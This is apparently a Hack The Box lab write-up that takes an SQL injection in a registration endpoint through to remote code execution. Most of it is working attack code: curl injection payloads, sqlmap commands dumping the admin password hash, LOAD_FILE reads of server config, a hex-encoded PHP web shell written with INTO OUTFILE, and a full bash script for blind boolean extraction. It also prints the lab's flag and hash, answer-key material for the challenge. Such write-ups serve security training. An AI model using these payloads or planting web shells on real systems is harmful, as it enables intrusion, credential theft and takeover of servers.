HTB SQL Injection Fundamentals - Step-by-Step
Use this workflow only in legal lab environments (HTB, CTF, approved pentest scope).
Target and objectives
Target used:
https://154.57.164.68:30877
Objectives:
- Retrieve
adminpassword hash - Retrieve web app root path
- Achieve command execution and read
/flag_XXXXXX.txt
1) Recon the app
Initial endpoint discovery:
curl -k -s https://154.57.164.68:30877/login.php
curl -k -s https://154.57.164.68:30877/register.php
Relevant endpoint:
POST /api/register.php- injectable parameter:
invitationCode
Response oracle used
The app behavior gives a boolean signal:
- TRUE path: redirect to
login.php?s=account+created+successfully! - FALSE path: redirect to
register.php?e=invalid+invitation+code - malformed payloads sometimes return
500
This was enough for blind inference.
2) Confirm SQL injection
Test payload:
curl -k -s -i -X POST 'https://154.57.164.68:30877/api/register.php' \
--data-urlencode "username=u$RANDOM$RANDOM" \
--data-urlencode 'password=Abcd!234' \
--data-urlencode 'repeatPassword=Abcd!234' \
--data-urlencode "invitationCode=' OR '1'='1"
Vulnerable behavior: request follows success path even with invalid invitation input.
3) Exploit with sqlmap
Detection run:
python3 sqlmap.py \
-u 'https://154.57.164.68:30877/api/register.php' \
--method POST \
--data='username=testuser&password=Abcd!234&repeatPassword=Abcd!234&invitationCode=aaaa-bbbb-1111' \
-p invitationCode \
--randomize=username \
--batch \
--answers='follow=Y,redirect=Y,cookie=Y' \
--drop-set-cookie
Enumerate databases:
python3 sqlmap.py -u 'https://154.57.164.68:30877/api/register.php' \
--method POST \
--data='username=testuser&password=Abcd!234&repeatPassword=Abcd!234&invitationCode=aaaa-bbbb-1111' \
-p invitationCode \
--randomize=username \
--batch \
--answers='follow=Y,redirect=Y,cookie=Y' \
--drop-set-cookie \
--dbs
Database identified: chattr
4) Dump the admin hash
python3 sqlmap.py -u 'https://154.57.164.68:30877/api/register.php' \
--method POST \
--data='username=testuser&password=Abcd!234&repeatPassword=Abcd!234&invitationCode=aaaa-bbbb-1111' \
-p invitationCode \
--randomize=username \
--batch \
--answers='follow=Y,redirect=Y,cookie=Y' \
--drop-set-cookie \
-D chattr -T Users -C Username,Password \
--where="Username='admin'" \
--dump
Recovered hash:
$argon2i$v=19$m=2048,t=4,p=3$dk4wdDBraE0zZVllcEUudA$CdU8zKxmToQybvtHfs1d5nHzjxw9DhkdcVToq6HTgvU
5) Extract web root path
Read nginx config via SQL functions and extract the root value.
Useful queries:
SELECT @@secure_file_priv;
SELECT @@datadir;
SELECT @@basedir;
SELECT @@plugin_dir;
SELECT USER();
SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');
Recovered web root:
/var/www/chattr-prod
6) Write PHP shell via SQLi
Pre-checks that mattered:
- SQL user:
chattr_dbUser@localhost - privilege includes
FILE - endpoint accepted 1-column
UNION
Write shell with INTO OUTFILE:
hex="0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e"
curl -k -s -X POST 'https://154.57.164.68:30877/api/register.php' \
--data-urlencode "username=r$RANDOM$RANDOM" \
--data-urlencode 'password=Abcd!234' \
--data-urlencode 'repeatPassword=Abcd!234' \
--data-urlencode "invitationCode=aaaa-bbbb-1111') UNION SELECT ${hex} INTO OUTFILE '/var/www/chattr-prod/shell.php'-- -"
Verify command execution:
curl -k -s 'https://154.57.164.68:30877/shell.php?cmd=id'
Expected output includes: uid=33(www-data).
7) Retrieve the flag
Find flag file:
curl -k -s "https://154.57.164.68:30877/shell.php?cmd=ls%20/%20|%20grep%20'^flag_'"
Read flag:
curl -k -s 'https://154.57.164.68:30877/shell.php?cmd=cat%20/flag_876a4c.txt'
Recovered flag:
061b1aeb94dec6bf5d9c27032b3c1d8d
8) Manual approach (no sqlmap extraction)
Use this fully manual sequence, driven by boolean SQLi + redirect oracle.
BASE='https://154.57.164.68:30877/api/register.php'
oracle() {
local cond="$1"
local u="u$(date +%s%N | cut -c1-13)$RANDOM"
local payload="aaaa-bbbb-1111') OR (${cond})-- -"
local redir
redir=$(curl -k -s -o /dev/null -w '%{redirect_url}' -X POST "$BASE" \
--data-urlencode "username=$u" \
--data-urlencode 'password=Abcd!234' \
--data-urlencode 'repeatPassword=Abcd!234' \
--data-urlencode "invitationCode=$payload")
[[ "$redir" == *"login.php?s=account+created+successfully!"* ]]
}
infer_len() {
local expr="$1" max="${2:-200}" n
for n in $(seq 1 "$max"); do
if oracle "LENGTH(${expr})=${n}"; then echo "$n"; return 0; fi
done
return 1
}
infer_char() {
local expr="$1" pos="$2" lo=32 hi=126 mid
while [ $lo -le $hi ]; do
mid=$(( (lo+hi)/2 ))
if oracle "ASCII(SUBSTRING(${expr},${pos},1))>${mid}"; then
lo=$((mid+1))
else
hi=$((mid-1))
fi
done
printf "\\$(printf '%03o' "$lo")"
}
infer_string() {
local expr="$1" maxlen="${2:-200}" len out="" i c
len=$(infer_len "$expr" "$maxlen") || return 1
for i in $(seq 1 "$len"); do
c=$(infer_char "$expr" "$i")
out+="$c"
done
echo "$out"
}
# Run these in order:
# 0) Confirm SQLi oracle
oracle "1=1" && echo TRUE
oracle "1=2" && echo FALSE || echo FALSE
# 1) Enumerate databases (discover chattr)
db_count=$(infer_string "(SELECT COUNT(*) FROM information_schema.schemata)" 3)
echo "db_count=$db_count"
for i in $(seq 0 $((db_count-1))); do
name=$(infer_string "(SELECT schema_name FROM information_schema.schemata LIMIT ${i},1)" 64)
echo "db[$i]=$name"
done
# 2) Enumerate tables in chattr
t_count=$(infer_string "(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='chattr')" 3)
echo "table_count=$t_count"
for i in $(seq 0 $((t_count-1))); do
t=$(infer_string "(SELECT table_name FROM information_schema.tables WHERE table_schema='chattr' LIMIT ${i},1)" 64)
echo "table[$i]=$t"
done
# 3) Enumerate columns in Users
c_count=$(infer_string "(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='chattr' AND table_name='Users')" 3)
echo "col_count=$c_count"
for i in $(seq 0 $((c_count-1))); do
c=$(infer_string "(SELECT column_name FROM information_schema.columns WHERE table_schema='chattr' AND table_name='Users' LIMIT ${i},1)" 64)
echo "col[$i]=$c"
done
# 4) Q1: Extract admin password hash
admin_hash=$(infer_string "(SELECT Password FROM chattr.Users WHERE Username='admin' LIMIT 0,1)" 200)
echo "admin_hash=$admin_hash"
# 5) Q2: Extract web root path from nginx config via LOAD_FILE
root_expr="(SELECT TRIM(SUBSTRING_INDEX(SUBSTRING_INDEX(LOAD_FILE('/etc/nginx/sites-enabled/default'),'root ',-1),';',1)))"
web_root=$(infer_string "$root_expr" 128)
echo "web_root=$web_root"
# 6) Q3: RCE - write webshell with UNION INTO OUTFILE
hex_shell="0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e" # <?php system($_GET['cmd']); ?>
u="r$RANDOM$RANDOM"
payload="aaaa-bbbb-1111') UNION SELECT ${hex_shell} INTO OUTFILE '${web_root}/shell.php'-- -"
curl -k -s -o /dev/null -X POST "$BASE" \
--data-urlencode "username=$u" \
--data-urlencode 'password=Abcd!234' \
--data-urlencode 'repeatPassword=Abcd!234' \
--data-urlencode "invitationCode=$payload"
# 7) Verify RCE + read flag
curl -k -s 'https://154.57.164.68:30877/shell.php?cmd=id'
flag_file=$(curl -k -s "https://154.57.164.68:30877/shell.php?cmd=ls%20/%20|%20grep%20'^flag_'")
echo "flag_file=$flag_file"
curl -k -s "https://154.57.164.68:30877/shell.php?cmd=cat%20/${flag_file}"
Final outputs
- Admin hash:
$argon2i$v=19$m=2048,t=4,p=3$dk4wdDBraE0zZVllcEUudA$CdU8zKxmToQybvtHfs1d5nHzjxw9DhkdcVToq6HTgvU - Web root:
/var/www/chattr-prod - Flag:
061b1aeb94dec6bf5d9c27032b3c1d8d